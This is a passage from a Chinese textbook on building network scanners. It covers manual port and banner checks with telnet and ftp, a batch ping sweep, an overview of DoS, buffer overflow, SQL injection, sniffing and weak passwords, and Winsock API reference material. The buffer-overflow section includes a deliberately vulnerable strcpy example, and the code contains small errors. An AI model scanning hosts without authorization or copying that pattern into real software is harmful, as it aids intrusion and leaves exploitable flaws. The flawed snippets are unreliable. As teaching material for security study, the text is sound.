比如，要验证对方是否在2121端口提供文件传输服务（FTP服务），则可以使用操作系统自带的FTP客户端程序连接对方。以Windows XP为例，假设对方服务器的URL地址为"ftp.test.net"，一种办法是在命令行状态下输入"ftp ftp.test.net 2121"，如果对方提示输入用户名和密码，则表示服务器ftp.test.net的端口2121处于“开”状态，并且提供FTP服务，即使此时不知道用户名和密码，即不是合法用户，也足以验证对方提供了FTP这项服务。另一种方法是由于Windows提供的IE（Internet Explorer）浏览器内嵌有FTP功能，所以在IE浏览器的地址输入框中输入ftp://ftp.test.net:2121/可以验证同样的结论。

再如，想扫描192.168.1.1～192.168.1.254这段IP中哪些主机是开的，则可以通过如下一个批处理来完成：



for/l%%a in(1 1 254)do(ping 192.168.1.%%a)



运行由上面一行命令所组成的批处理文件，则系统会自动按顺序依次不停地ping每一台主机。

手工扫描的最大优点就是几乎不需要任何其他工具，方便、快捷，可以在任何一台主机上实验。但缺点也很明显，由于手工操作方式需要手工输入，因此需要使用者本身对要扫描的协议很了解，知道其原理，并且手工输入由于命令行功能有限，不可能快速、大范围地扫描。

在手工扫描时，有一个比较有效的办法，就是采用Telnet客户端进行验证，因为Telnet客户端是Windows自带的程序，并不需要额外安装，随便一台主机都可以直接使用。Telnet登录对方系统后，不仅能输入有限的指令，还可以读到对方的返回信息，这一方便的特性，使手工扫描用户可以通过交换式操作，实时读取对方的关键信息，为下一步的判断提供准确的信息。

例如，要检测对方主机的80端口是否提供WWW服务，只需要在命令行中输入：



Telnet＜对方IP地址＞80



则可以连接对方的80端口，如果连接失败，会提示Telnet无法连接到远端主机，如果成功，则对方主机进入到等待客户端输入命令的状态，这个时候可以随便输入一些字符，并连续回车，五六个回车后，对方就会返回如下内容：



HTTP/1.1 400 Bad Request

Server:Microsoft-IIS/5.1

Date:Sun,19 Jun 2011 14:43:50 GMT

Content-Type:text/html

Content-Length:87

＜html＞＜head＞＜title＞Error＜/title＞＜/head＞＜body＞The parameter is incorrect.＜/body＞

＜/html＞

失去了跟主机的连接。

C:\＞



根据以上内容，很容易知道对方返回的HTTP协议，并内嵌HTML语言的网页代码。这些足以证明对方的80端口提供WWW服务。

用同样的方法，可以测试21端口是否提供了FTP服务，在命令行中输入：



Telnet＜对方IP地址＞21



则可以连接到对方21端口，如果连接失败，同样会提示Telnet无法连接到远端主机。如果成功，则对方会显示如下内容：



220-Microsoft FTP Service

220欢迎访问LRM服务器



需要说明的是，上面返回信息只是Windows默认的FTP服务器软件，其他的FTP服务器软件返回信息则不会完全一样。上面的显示，足以证明对方21端口提供FTP服务。（以上内容中，WWW、FTP的配置与验证详见第7章“基于协议的服务扫描器的设计”中有关服务器的安装和配置章节。）

上述所讲的手工扫描方式只是一些简单的方式，在第3章的3.3节“手工扫描”中，详细地介绍复杂的扫描方式。


1.8.2　使用通用扫描器阶段

当前Internet上主要采用TCP（Transmission Control Protocol，传输控制协议）和UDP（User Datagram Protocol，用户数据报协议）作为传输层运行协议。虽然除此之外还有很多协议，但这些协议一般都是传输层以上各层的协议，靠TCP或UDP进行网际传送。而端口的概念是处于传输层上的，所以在扫描端口时，我们可以说扫描的是TCP或UDP端口而不是别的协议的端口，那些协议端口只是通过TCP或UDP端口体现出来而已，因此，在编写通用扫描器的时候，只需要用TCP或UDP协议向对应的端口发数据就行了，而不一定非用哪一个协议。例如，139端口是NetBIOS协议端口，想扫描139端口是不是处于“开”状态，只需要向目标主机139端口发送信息然后根据返回信息进行判断就可以了。

通用扫描器也就是向指定的一段端口分别发送建立连接的请求，如果对方存在对应的服务，连接就可成功建立，否则无法建立。利用这个特点，我们可以判断对方对应的端口是否开。这种扫描器一般只能扫描出对方某一端口是否开放，然后检索端口数据库，给出对这一端口提供的服务。


1.8.3　设计专用扫描器阶段

通用扫描器有不准确或不精确的缺点。比如，某人的服务器没有提供NetBIOS服务，而正好有一个服务器应用软件使用139端口进行通信，此时由于扫描器在139端口建立连接成功而通过查端口数据库认为139端口处于“开”状态而且提供了NetBIOS服务。

专用扫描器则不求功能多，只扫描特定的一个或几个端口，扫描后，不仅给出所扫端口是否处于“开”的状态，指出其提供的服务，而且会拿对应的服务和目标主机建立连接，从而获得对方服务器版本号、用户列表、共享目录、漏洞等信息。


1.9　扫描器的限制

几乎所有的扫描器都有一定的局限性，这些局限性不仅取决于扫描算法的优劣，还取决于其他各方面的限制，一个万能的、全面的扫描器是不存在的。

首先，操作系统对扫描器有影响。当前主流的操作系统主要有两大派系，一个是Windows派系，另一个是UNIX/Linux派系。Windows派系由于所有版本均由Microsoft公司开发，所以保持了接口的统一性和连续性；UNIX和Linux本身差距较大，且各自有很多派系和版本，但总体来说，各接口差别不大。从软件开发来说，Windows派系和UNIX/Linux派系最多只能达到源码一级的兼容，且多为无界面的命令行程序，其余部分则大多不兼容，至于编译出的可执行文件，则完全不兼容，这也证实了万能的、全面的扫描器是不存在的。

除扫描方的操作系统之外，被扫方的操作系统也需要考虑。通常情况下，各服务协议的作用正是要减免异构系统之间的差异，但不同的操作系统还是有细微的差别。例如Windows 2000和Windows XP是功能和发布时间非常接近的两个版本，但默认的配置差别较大，所以扫描的结果差异较大。

除了操作系统的影响，扫描器还与采用的算法有关，不同的扫描器，所采用算法不同，扫描出的效果也不尽相同。例如要扫描本地所有TCP/UDP连接及使用的端口，有数种方式，例如，DOS命令重定向、SNMP方式、系统API方式、采用钩子函数等，这些方式各有利弊，并不能确定都是成功的，受很多因素的影响（如用户级别、是否安装并运行了某个服务），所扫描的效果也不尽相同。


1.10　当前网络常见的漏洞

一个系统中有什么漏洞？这是一个较难回答的问题，因为通常情况下，每当指出一个确切的攻击方案时，随着各种技术细节越来越公开，使得很多软件的设计者或开发者，特别是系统的开发者，想从各个层次堵住漏洞。因此漏洞大有“只可意会，不可言传”的感觉。当然，也有一些漏洞，即使是攻击方式和算法公开，也因难以处理而仍然存在。

下面列出一些目前为止仍然广泛使用或仍没有太好解决方案的漏洞。


 1.10.1　DOS和DDOS

DOS（Denial Of Service，拒绝服务攻击）是一种原理简单，但普遍存在，并且很难预防和解决的攻击方式。

在C/S（客户端/服务器）模式下，客户端连接服务器端，并提出服务申请，服务器根据服务申请查找所需要数据，然后将查到的数据以服务响应的方式回复给客户端。通常的情况下，由于服务器需要占用一定的系统资源（CPU、网络、内存、硬盘）然后才能查到数据并回复，所以在某一时刻一般只能响应一定数量的客户端服务申请，当客户端服务申请个数超过这个数量时，多余的申请个数只能等待，等到正在处理的服务结束后，多余的客户端再获得服务器端的服务。在这种模式下，如果有一个主机同时向某个服务器始终发送远超服务器在某时刻响应客户端的上限数量，则其他主机同时向该服务器提出申请的时候，就会处于等待状态。虽然偶尔其他主机也能得到服务器的服务响应（因为该用户的申请和发起DOS攻击各客户端处于同一个级别，所以该主机也能申请到服务），但总的感觉是服务器访问速度极慢，或大量访问失败，从现象上看，像是服务器拒绝向自己提供服务，故称这种方式为“拒绝服务”式攻击。

随着网络和服务器性能越来越高，通常一台普通家用电脑很难对一个高性能的服务器造成实质性的DOS攻击，所以黑客在DOS技术上做了升级，改成DDOS（Distributed DOS，分布式拒绝服务攻击）。该技术中，各个主机所采用的仍是DOS攻击，但同时采用了分布于不同主机上的多台主机同时攻击同一个服务器的方式。

到目前为止，对于DOS和DDOS还没有一个好的解决方案，只能在一定程度上预测和防止。在第11章中，将以漏洞扫描器的方式详细地说明和讲解该方式。


1.10.2　缓冲区溢出

缓冲区溢出问题源于一些程序语法分析和编译器不严格，是一种非常普遍、非常危险的漏洞，并且存在于各种操作系统、各种应用软件中，可以说是目前为止最具危害性的攻击方式。

要完全理解缓冲区溢出，就要从程序的运行原理上来分析。比如下面一个程序：



1#include＜stiod.h＞

2 void main(int argc,char**argv)

3{

4 if(argc==2)//格式必须是“命令参数”

5 readstr((char*)argv[1]);//输入内容

6 else

7 printf("Usage:%s＜string for print＞",(char*)argv[0]);

8 return 0;

9}

10 void readstr(char*str)

11{//将参数1复制到16字节的缓冲区中，并打印出来

12 char buff[16];

13 strcpy((char*)buff,str);

14 printf("%s",(char*)buff);

15}



这是一个简单的C语言程序，该程序将作为参数的字符串复制到buff缓冲区中，并打印出该字符串。编程完成后程序执行，如果输入的参数是字符串"Hello,world."，则首先执行第5行，并转向第10行的函数readstr，在执行第13行时，把"Hello,world."复制到缓冲区buff中，随后执行第14行，将"Hello,world."打印出来。整个程序由于"Hello,world."的长度是13个字符（12个字母和一个表示字符串结束的字符'\0'），该值小于buff的长度16，所以程序正常执行，并打印出正确的结果。

如果输入的字符串是"ThisIsABufferOverflowTesting."呢？这时，整个字符串的长度超过了buff的长度16，但strcpy函数本身在复制的时候，并不考虑是否超过了buff的长度，它只是按自己的要求，只要不遇到字符'\0'，复制就不会停止，因而其内容前16个字节保存在buff中，第16个字节之后的内容，将保存在buff数组之后的内存中，这就是缓冲区溢出，这样的错误会在运行的时候报错。

到现在为止，缓冲区溢出还只是一个bug，还达不到“漏洞”的级别。要想成为一个攻击时可以利用的漏洞，就需要更深入的分析，并且需要很多计算机底层的相关知识，下面只是简要地说明一下。

首先，程序在内存中，主程序的数据部分在数据段（Data Segment，如上例中的buff[16]）中，代码部分在代码段（Code Segment，如上例第2～15行中，除了第12行之外的所有行）中，而函数的数据部分在栈段（Stack Segment）中，函数的代码在代码段中，其中readstr函数的栈段如图1.2所示。
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图　1.2　函数调用堆栈结构

当函数readstr执行之前，系统会在堆栈中建立图1.2的结构，并将函数readstr之后的地址（即第8行代码的地址）填入到“函数调用结束返回地址”中，以便函数执行完后，返回到函数下一行执行；在函数过程中，所需要的数据保存在buff数组中，根据函数体的需要进行操作；函数运行结束以后，转向“函数调用结束返回地址”所指向的地址。

回到前面的缓冲区溢出，当向buff中复制数据的时候，由于strcpy不做长度的检测，所以当长度超过16时，多余的部分就会覆盖后面的内容。根据实际输入的内容多少，覆盖的多少也不同。试想，当输入数据达到一定量的时候，多余的部分会依次覆盖图1.2中“栈段数据填充”、“函数调用结束返回地址”、“堆栈空余空间”中的部分或全部内容。但此时程序并不知道这些地方内容被覆盖了，当readstr函数执行结束后，仍然会跳转到“函数调用结束返回地址”所指向的地方执行。如果覆盖“堆栈空余空间”的数据是一段程序，而覆盖“函数调用结束返回地址”后的指向地址正好指向“堆栈空余空间”中的这段代码，则readstr函数执行结束后，就不会返回调用处之后的一行（例子中的第8行），而是执行了经过精心安排的代码。这段代码有可能是攻击者的代码，可能做攻击的事情，例如创建了一个用户，提升了某个用户的权限，或启动了某个服务，总之这种攻击的危害性完全取决于这段代码。


1.10.3　注入式攻击

注入式攻击是将本来不属于设计者原意的东西通过“注入”的方式加入到某系统中，这样做的目的是想让注入的那部分出现意想不到的效果。缓冲区溢出的方式就属于注入式攻击，除此之外，更多的是SQL注入式攻击。

SQL注入式攻击即利用SQL语句本身的语法特点，注入一部分并非设计者想要的代码，通过注入的这部分代码完成某种功能。

该部分内容将在第11章的11.1节“注入式漏洞扫描器”中进行详细阐述。


1.10.4　明文传输

在一个重要的系统中，设置一个安全级别很高的密码，在登录远程系统的时候，先确保没有人能看到你输入的按键，没有木马病毒可以记录所有的按键，输入好用户名和密码，单击登录系统，然后成功登录到了远程的主机上。

在上述整个看似安全的操作步骤中，是不是可以确保密码不会被别人知道呢？答案是否定的，由于密码是明文传输，所以在从用户的源主机到目标主机之间还有很多环节，在这些环节中的任何一处都有可能监听到该密码。

以图1.3为例，用户的主机是“源主机”，在该主机上有某系统登录界面，“目标主机”上存放着系统的认证模块。用户在源主机的系统登录界面上输入用户名和密码，则该用户名和密码以明文的方式被放在一个提交表单中。该表单在C/S（客户端/服务器）模式中称为一个数据报（Data Gram），而在B/S（浏览器/服务器）模式中则称为一个表单（Form）。该表单通过本网的交换机传到路由器，通过路由器发送到互联网上，到达对方网络的路由器，再经过对方网络的交换机后，最终送到目标主机。目标主机根据表单中的用户名、密码与数据库中的用户名、密码比对，然后将结果原路返回。
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图　1.3　明文传输模型图

在上述传输的链路中，每一个环节都有可能被监听，而数据在经过每一个环节的时候，由于传的都是明文，所以几乎是无密可保，而且这种现象是广泛存在的。

解决这类问题通常没有很好的办法，只能通过制度等规定，交换机、路由器必须是专用的，在上面不能随意安装或使用未授权的软件。

本书不对这类问题进行深入讨论，但可以通过后面部分章节的内容进行验证。如在第7章的7.1节“WWW服务扫描”中，详细讲述了一个WWW服务器的配置过程；在第11章的11.4节“明文密码嗅探”中，详细讲述了一个如何通过Sniffer程序监听网络上的明文密码传输的例子。


1.10.5　简单密码

简单密码的危害不言而喻，但也是普遍存在的，因为简单的密码会使攻击者很容易获得密码，并随后直接以正常用户使用某系统。

简单密码很难有一个非常准确的界定，通常是指如下情况：

1）密码位数比较少。因为位数少的密码，很容易被对方采用穷举法进行破解。一般来说，三位及以内的密码都可以认为位数比较少。

2）密码是一个简单英文单词或拼音音节，这可以通过字典方式进行穷举。一般来说，使用英文作为密码的是一个英文人名，或一个普通的英文单词（假设为高中英文词汇），或一个中文的姓氏，这三者的总和大约不到一万个，黑客很容易根据词典生成这样的常用词字典，然后通过程序读取字典中的每一个词，进行穷举破解。

3）密码只使用了一个字符集。通常的键盘按键中，可以用做密码的必然是可见字符，这些可见字符可以分为大写字母字符集（26个）、小写字母字符集（26个）、数字字符集（10个）、标点符号字符集（33个）。在设定密码的时候，很多人为了输入方便，而只使用某一个字符集，这使得穷举的空间数大为减少。

4）密码使用自己姓名、家庭电话号码、车牌号等信息，而这些信息同时也会以另一种方式公开，这会给一些认识自己或通过别的方式获得此信息的人以可乘之机。

5）在所有需要密码的场合均使用同一密码。

在上述1～3各项中，为了更详细地阐明这些密码的危险，特在第11章的11.2节“主机弱密码扫描”进行详细的说明。


第2章　网络协议和网络编程例程

计算机网络是计算机技术和通信技术相结合的产物。从物理结构上看，计算机网络是在协议控制下，由计算机主机、设备终端、数据传输设备和通信控制处理设备组成的系统集合。在这里，人们不可避免地要提到“协议”（Protocol）一词，本部分将首先对几个与扫描有关的主流网络协议加以介绍，然后以软件开发的角度来说明如何使用这些协议，也就是这些协议的接口函数。考虑到TCP/IP编程协议贯穿于全书，所以此处详细列出其函数及用法，而NetBIOS编程接口、Win Inet编程接口、命名管道和邮槽等编程接口则因为有具体的扫描器与之对应，所以其详细介绍在相应的章节中。

Windows图形化编程的优点是程序界面看上去很直观，便于用户使用。但缺点是由于Windows本身是面向消息触发机制的，且图形界面各元素操作没有强制的顺序性，因而所编出来的程序，不能像Linux或DOS下的非图形界面一样，具有逻辑思路的连续性。在后续各章节的编程中，虽然所调用的函数不同、使用的技术各异，但毕竟同属于扫描器的大范畴，所以仍然会涉及大量相似的界面和相似的代码，如果在后续章节中，每一处都进行解释和说明，则会因多次重复而显得累赘；如果有选择地进行解释和说明，则又会使让有选择性阅读的读者因没看到解释而不知所云。所以，本章专门针对网络扫描器编程中，重复出现、共用的部分进行统一的说明。需要说明的是这里所提到的VC++的编程技巧和共同的例程，并不是针对VC++的通用技巧，而只是针对后续章节中，扫描器常用的一些共同的技巧和例程进行说明。

开发中，在不涉及版权和侵害他人利益的前进下，能够使用别人已做好的程序或工具有时也不失为一个好的办法。这样做可以节约自己的开发时间，达到事半功倍的效果，虽然本书很少使用这种方法，但仍然将其列为编程技巧之一。


 2.1　常用的网络编程

早期的通信技术受当时各种情况的约束，很难考虑到未来的发展，因此各种技术之间，从设计之初就存在很大的差异。在实际运用中，计算机网络既要考虑计算机本身的特点，如计算机的设计架构、操作系统各不相同，又要考虑通信技术本身的特点，如通信介质有光纤、双绞线、无线等方式，要想消除这些差异，最好的办法就是事先约定一些协议，然后通信的所有方都按照这些协议来处理，最终实现数据的透明化通信。

计算机与计算机之间通信是指在不同系统实体之间的通信，这里的实体是指能发送或接收信息的终端、应用软件、通信进程等，这些实体之间通信需要遵守一些规则和约定，比如使用哪种编码格式？如何识别目的地址和名称，传送过程中出错了怎么办？两台通信的计算机处理速度不一样怎么办？总而言之，这里通信双方需要遵守的一组规则和约定就是协议。

全部协议有上千个，它们之间的约定、格式几乎各不相同，不过，我们这里只介绍其中最主要，也是目前非常流行的协议：TCP/IP协议族、NetBIOS协议，以及基于TCP/IP但又进行了扩展的几个高层协议。从编程角度上看，网络编程也正是针对这些具体的协议，按照协议的约定，完成相应的通信功能。


 2.1.1　TCP/IP协议编程

20世纪90年代初，由Microsoft联合了几家公司共同制定了一套Windows下的网络编程接口，这个接口就是Windows Socket API。这套接口是通过DLL（Dynamic Link Library，动态链接库）实现的。所有的Windows Socket规范的实现都支持TCP/IP协议，即支持流接口和数据报接口。这种套接口在大量的可视化编程中都得到了使用，像Visual C++、Visual Basic、Delphi、Power Builder等程序设计语言都对其进行了封装，它们主要是利用一个叫Winsock.dll的系统动态链接库文件实现的。

TCP/IP协议是目前网络中使用最广泛的协议，Socket称为“套接口”，最早出现在Berkeley Unix中，最初只支持TCP/IP协议族和Unix协议，现在它已支持很多协议，是最重要的网络编程接口，特别是在Unix中，几乎所有的网络应用程序都是用Socket API来实现的，但本书很多例子都是在Windows下利用Windows Socket编写的，况且Unix下Socket和Windows下Socket在格式上相差不太大，所以本书采用Windows Socket进行说明。

Windows Sockets API是在Microsoft Windows下采用TCP和UDP应用程序的一个标准接口。Windows Sockets允许应用程序在主机上捆绑特定端口和IP地址，向用户提供面向连接（Connection-oriented）及无连接（Connectionless）两种服务，即流和数据报服务。

TCP/IP（Transmission Control Protocol/Internet Protocol）是传输层控制协议/互联网协议的缩写，当初是为美国国防部研究计划局（DARPA）设计的，目的在于能让各种计算机都可以在一个共同的网络环境中运行，如图2.1所示。

[image: ]


图　2.1　TCP/IP协议（左半部）和OSI对照（右半部）

如今的TCP/IP已成为一个完整的网络体系结构。其中包括了工具性协议、管理性协议及应用性协议。由于它的出现较OSI（Open System Interconnect，开放式系统互联）参考模型要早，所以并不符合OSI/RM标准，大致来说，TCP相当于OSI的传输层，IP相当于其中的网络层。经过了几十年的实践考验，它已成为事实上的国际标准和工业标准。

2.1.1.1　几个重要的概念

1.端口（Port）和套接口

无需多言，端口正是我们要扫描的对象，具有“开”和“关”两种状态，利用它的开或关状态就可以初步判断一台主机是否提供了某种服务。和端口所在主机的IP地址结合起来，所形成的一个二元组（IP地址，端口地址）就组成了一个套接口。一个五元组（本地IP、本地端口、使用协议、远程IP、远程端口）组成了一个通信过程。一个IPv4的基本数据结构主要有in_addr和sockaddr_in两个，前者表示32位的IP地址，后者是通用的套接口地址结构，它们的结构如下：



struct in_addr

{

in_addr_t s_addr;

};

struct sockaddr_in

{

short sin_family;

u_short sin_port;

struct in_addr sin_addr;

char sin_zero[8];

};



IPv6目前还没有广泛使用，所以这里就不再说明了。

2.地址表示顺序

不同的系统在内存存储多字节数据的方式有所不同，而网络传输中，数据存储顺序不一定和系统存储顺序一样，因此为保证系统正确性和可移植性，需要利用系统的转换函数进行转换。以IPv4的地址为例，一个IP地址的四个字节“192.168.1.100”，在PC架构的计算机中，数据的表示是低位优先（Little Endian），由前至后是100、1、168、192；而在网络Socket协议所表示的网络传输中，则是高位优先（Big Endian），由前至后是192、168、1、100，这需要在处理时通过函数转化。

3.服务器和客户机

服务器不一定非和一台物理主机相对应，一台主机可以对应多个服务器，多台主机也可用软件捆绑后安装成一台服务器，服务器的主要识别标志就是一台主机运行了哪些服务器软件。客户机是指发出服务请求的计算机，客户机可以是一台物理主机对应，也可以是一台逻辑上的主机，比如在某主机上打开客户端访问服务器端，则该主机既是服务器，也是客户机。

4.面向连接和面向非连接

面向连接（即TCP）的通信的双方，发起连接的为客户端，接收连接的一方称为服务器端。双方的通信一般分三步：建立连接、数据传送、释放连接。在传送过程中数据按顺序传送，很像电路交换，因此又称为“虚电路（VC，Virtual Circuit）服务”，这是一种可靠服务，但建立连接和释放连接的开销很大。面向非连接（即UDP）的通信中，没有客户端和服务器端之分，或者称为互为客户端和服务器端。双方中的任何一方都可以随时向对方发送数据或接收对方的数据。这是一种不可靠的服务，主要体现在数据传送过程中，报文有可能出现丢失、重复或与发送顺序不一致的现象，因而需要高层协议或程序自行解决，但其优点是灵活方便，效率很高。

需要说明的是，在现实中接触的很多工程师，每提及面向非连接的通信都嗤之以鼻，似乎面向非连接一无是处，在数据传输过程中优先级很低，经常会丢包，故这里以开发和实践的角度对二者进行如下比较：

❑面向连接和面向非连接只是电信专家与计算机专家就网络传送数据的方法进行争论后的一个折中结果。前者认为应该把传输的可靠保证放在传输上，后者认为应该把传输的可靠保证放在计算机端进行处理。

❑二者的关系很像是挂号信和普通信的关系。通信成功与否不取决于采用哪种方式，而取决于二者之间的链路，通常情况下，如果面向非连接的通信到达不了的数据，面向连接的通信也到达不了。只是面向连接的情况下，函数会明确告诉发送成功，但对方未接到；而面向非连接的情况下，函数只是告诉发送成功，不会告诉对方是否接到。

❑面向连接中的“可靠”源于协议内部不停地传递链路是可靠的信息，因此虽然用户感觉不到这些数据的传输，但实际上这些数据始终存在。而面向非连接则不需要维护这些息，因此面向连接的系统开销很大。比如两台电脑之间连接了一个小时未通信，在面向连接的方式下，这两台电脑之间会不停地发送确认信息以确定链路是否连通；而面向非连接的方式则没有这些维护信息。

❑如果传输层的更高层协议愿意，面向非连接的情况下，完全可以通过高层的应用模拟出面向连接的效果。例如：接到数据包后给一个确认的回复；或在通信期间定时发送检测链路可靠的信息。

综上所述，如果发送的数据量不大，并且想确保数据收到，或者在对方没收的情况下可以查知，或者在通信期间想随时知道网络是否已断，则可以采用面向连接的方式。如果发送的数据具有周期性、数据量较大（比如视频流等），即使中间某一个数据包未收到，也不影响整个数据的作用，或很快可以通过下一个周期得到相同的数据或随后的数据（例如ping程序，即使某一次数据不正常也不影响整个ping的过程），则使用面向非连接方式更合适。还有，广播或组播的方式只能使用面向非连接的方式。

2.1.1.2　Windows Socket结构

1.sockaddr结构

在Socket的函数中，有几个函数都使用了sockaddr结构，该结构用于保存一个IP地址，其结构如下：



struct sockaddr

{

unsigned short sa_family;

char sa_data[14];

};



结构成员如下：

❑sa_family：协议族，一般是AF_INET。

❑sa_data：数据，14是其最大的长度。

sockaddr结构通常只是为了在各操作系统中保持兼容而使用，平时很少有人直接使用该结构的格式，而是使用一个与之兼容的sockaddr_in结构，其结构如下：



struct sockaddr_in

{

short sin_family;

unsigned short sin_port;

struct in_addr sin_addr;

char sin_zero[8];

};



该结构表示一个TCP/IP通信中，某个主机IP地址和端口的完整表示，其结构成员如下：

❑sin_family：协议族，一般是AF_INET。

❑sin_port：端口地址。需要注意的是该端口地址在内存中的保存格式是低位优先，而网络上表示的是高位优先，因此在赋值的时候，应该调用htons函数做一下转换。

❑sin_addr：一个存储IP的结构。

❑sin_zero：为了和sockaddr结构保持同样长度而补足的8个字节，一般情况下，用户应该全部填成0。

其中真正存储IP结构的sin_addr变量又是一个结构，该结构如下：



struct in_addr

{

union

{

struct{

unsigned char s_b1,s_b2,s_b3,s_b4;

}S_un_b;

struct{

unsigned short s_w1,s_w2;

}S_un_w;

unsigned long S_addr;

}S_un;

};



注意，上面格式中，S_un_b、S_un_w和S_addr是一个联合体结构，也就是说，三者的地址是重合的，给其中任何一个变量或结构赋值，都会直接影响其余值。其中S_addr是一个ULONG型的变量，如果赋值的时候，使用的是字符串类型，需要通过调用inet_addr函数将字符串类型转换成网络存储格式的ULONG型。有的服务器有多个网卡，此时会有多个IP地址，或是一个网卡配置多个IP地址，而当前的程序并不想只绑定某一个IP地址，这时可以设置S_addr为htonl(INADDR_ANY)。

2.hostent结构

hostent结构的定义为：



struct hostent{

char FAR*h_name;

char FAR*FAR*h_aliases;

short h_addrtype;

short h_length;

char FAR*FAR*h_addr_list;

};



hostent结构用于存储给定主机的信息，例如主机名、IP地址等属性。

结构成员如下：

❑h_name：主机名。

❑h_aliases：主机的别名。

❑h_addrtype：地址的类型。

❑h_length：每个地址的长度，以字节为单位。

❑h_addr_list：地址列表。该地址列表中，每一个地址是以网络存储顺序保存的IP地址的ULONG表示格式。该双重指针其实可以看成一个指针数组，其中h_addr_list[0]表示第一个IP地址，如果有多个IP地址，则h_addr_list[1]表示第二个IP地址，依次类推。其中h_addr_list[0]可以用宏h_addr来表示。

3.servent结构



struct servent{

char FAR*s_name;

char FAR*FAR*s_aliases;

short s_port;

char FAR*s_proto;

};



servent结构用于保存或返回给定服务名的名称和服务数。成员函数如下：

❑s_name：服务名。

❑s_aliases：服务的别名。

❑s_port：服务的端口。端口号以网络顺序存储。

❑s_proto：协议的名称。

2.1.1.3　Windows socket转换类函数

1.htons函数



u_short htons(

u_short hostshort

);



htons函数将计算机存储的USHORT格式转换为网络存储的USHORT格式。该函数名可以理解为：Host TO Net unsigned Short。

返回值：返回一个网络顺序的USHORT格式整数。

参数：hostshort，一个16位的以计算机存储格式的USHORT整数。

2.ntohs函数



u_short ntohs(

u_short netshort

);



ntohs函数将网络存储的USHORT格式转换为计算机存储的USHORT格式。该函数名可以理解为：Net TO Host unsigned Short。

返回值：返回一个网络顺序的USHORT格式整数。

参数：netshort，一个16位的以网络存储格式的USHORT整数。

3.htonl函数



u_long htonl(

u_long hostlong

);



htonl函数将计算机存储的ULONG格式转换为网络存储ULONG格式。该函数名可以理解为：Host TO Net unsigned Long。

返回值：返回一个网络顺序的ULONG格式整数。

参数：hostlong，一个32位的以计算机存储格式的ULONG整数。

4.ntohl函数



u_long ntohl(

u_long netlong

);



ntohl函数将网络存储的ULONG格式转换为计算机存储的ULONG格式。该函数名可以理解为：Net TO Host unsigned Long。

返回值：返回一个网络顺序的ULONG格式整数。

参数：netlong，一个32位的以网络存储格式的ULONG整数。

5.inet_ntoa函数



char FAR*inet_ntoa(

struct in_addr in

);



inet_ntoa函数将由in_addr结构所表示的网络地址，转换成由字符串表示的IP地址。在本书中的扫描器，有大量的IP字符串和ULONG之间的互换操作，由于该函数还要使用一个in_addr结构，所以比较麻烦，并且出错时，不能正确指出出错位置。因此本书中大部分的转换采用的是自编的一个函数，详细内容可参见2.2.5节“IP格式的互换”。

返回值：如果没有错误，则返回一个字符串型的IPv4地址串（形如"a.b.c.d"）；否则返回NULL。

参数：in_addr，是一个in_addr类型的主机地址结构。该结构在本节前面内容中已详细说明了。

6.inet_addr函数



unsigned long inet_addr(

const char FAR*cp

);



inet_addr函数将字符串组成的IP地址串转换成一个ULONG的整数，该整数可用于in_addr结构中，是按网络格式存储的。在本书中的扫描器，有大量的IP字符串和ULONG之间的互换操作，由于该函数还要使用一个in_addr结构，所以比较麻烦，并且出错时，不能正确指出出错位置。因此本书中大部分的转换采用的是自编的一个函数，详细内容可参见2.2.5节“IP格式的互换”。

返回值：如果没有错误，则返回一个ULONG型整数；否则返回INADDR_NONE，此时例如IP字符串的某一项值大于255或为负值。

参数：cp，字符串指针，指向一个IP字符串。

7.gethostbyname函数



struct hostent FAR*gethostbyname(

const char FAR*name

);



gethostbyname函数根据主机名读取主机的信息（主要是IP地址）。

返回值：如果调用成功，则返回一个指向hostent结构的指针，hostent结构的定义参见前面小节；否则返回NULL。可以通过调用WSAGetLastError获得对错误信息的进一步描述：
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参数：name：指向一个以NULL结尾的，表示主机名的字符串。

8.gethostbyaddr函数



struct HOSTENT FAR*gethostbyaddr(

const char FAR*addr,

int len,

int type

);



gethostbyaddr函数通过网络地址读取主机信息。

返回值：如果调用成功，则返回一个指向hostent结构的指针；否则返回NULL。可以通过调用WSAGetLastError获得对错误信息的进一步描述，错误信息与上节基本相同，有一个不同的错误码：
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参数如下：

❑addr：指向一个网络字节顺序的IP地址。

❑len：地址的长度。

❑type：协议类型，通常是AF_INET。

9.gethostname函数



int gethostname(

char FAR*name,

int namelen

);



gethostname函数读取本地主机的主机名。

返回值：如果调用成功，则返回0；否则返回SOCKET_ERROR。

可以通过调用WSAGetLastError获得对错误信息的进一步描述，参见前两节，有一个不同的错误码：
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参数如下：

❑name：指向一个以NULL结尾的，表示主机名的字符串。

❑namelen：name的长度，以字节为单位。

10.getservbyname函数



struct servent FAR*getservbyname(

const char FAR*name,

const char FAR*proto

);



getservbyname函数根据服务名和协议读取服务信息。

返回值：如果调用成功，则返回servent结构，该结构的定义参见前面结构说明；否则返回NULL。

可以通过调用WSAGetLastError获得对错误信息的进一步描述参见前面第7小节。

参数如下：

❑name：指向一个以NULL结尾的、表示服务名的字符串。

❑proto：指向一个以NULL结尾的协议字符串，如果是NULL，则返回第一个服务。

11.getservbyport函数



struct servent FAR*getservbyport(

int port,

const char FAR*proto

);



getservbyport函数根据端口和协议读取服务信息。

返回值：如果调用成功，则返回servent结构，该结构的定义参见前面结构说明；否则返回NULL。

可以通过调用WSAGetLastError获得对错误的进一步描述，参见前面第7小节。

参数如下：

❑port：要查询的端口值。

❑proto：指向一个以NULL结尾的协议字符串，如果是NULL，则返回第一个服务。

2.1.1.4　Windows Socket通信类函数

需要说明的是，这些函数至少是1.1版本，如果要使用这些函数，需要在文件前面包含头文件，以及静态链接库：



#include＜Winsock2.h＞

#program comment(lib,"Ws2_32.lib")



1.WSAStartup函数



int WSAStartup(

WORD wVersionRequested,

LPWSADATA lpWSAData

);



WSAStartup函数首先查询当前操作系统是否支持所要求的版本号，完成对Windows Sockets2的初始化工作。要使用Socket2通信，必须首先使用该函数，因此该函数应在逻辑上，处于Socket2所有函数中的第一位。

返回值：函数如果调用成功，则返回0；否则返回如下之一的错误码：
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此时由于Socket机制还没有完全建立，所以还不能通过WSAGetLastError函数获得错误的详细信息。只有该函数返回成功了，之后的操作才能使用WSAGetLastError函数。

参数如下：

❑wVersionRequested：一个WORD类型的变量，该变量可以看成两个由BYTE拼成，其中高位字节表示要使用功能的最低副版本号（修订版本号），低位字节表示的是要使用功能的最低主版本号。

❑lpWSAData：指向一个WSADATA结构的指针，该指针列出了当前Windows Sockets的各项实现细节。

2.WSACleanup函数



int WSACleanup(void);



